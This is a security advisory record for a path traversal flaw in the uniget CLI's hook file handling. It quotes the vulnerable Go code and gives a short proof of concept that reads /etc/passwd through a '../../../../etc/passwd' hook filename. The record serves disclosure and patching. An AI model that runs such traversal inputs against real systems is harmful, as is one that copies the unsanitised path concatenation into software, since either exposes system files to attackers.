GHSA-m6jg-wr9m-cg2f

Source

https://github.com/advisories/GHSA-m6jg-wr9m-cg2f

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m6jg-wr9m-cg2f/GHSA-m6jg-wr9m-cg2f.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-m6jg-wr9m-cg2f

Aliases

Published

2026-08-17T17:46:33Z

Modified

2026-08-18T15:11:05Z

Severity

6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N CVSS Calculator

Summary

uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

Details

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]

Database specific

{
    "cwe_ids":  [
        "CWE-22",
        "CWE-23",
        "CWE-36",
        "CWE-73"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-17T17:46:33Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}

References

Affected packages

Go / gitlab.com/uniget-org/cli

Package

Name: gitlab.com/uniget-org/cli; View open source insights on deps.dev
Purl: pkg:golang/gitlab.com/uniget-org/cli

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.27.6

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m6jg-wr9m-cg2f/GHSA-m6jg-wr9m-cg2f.json"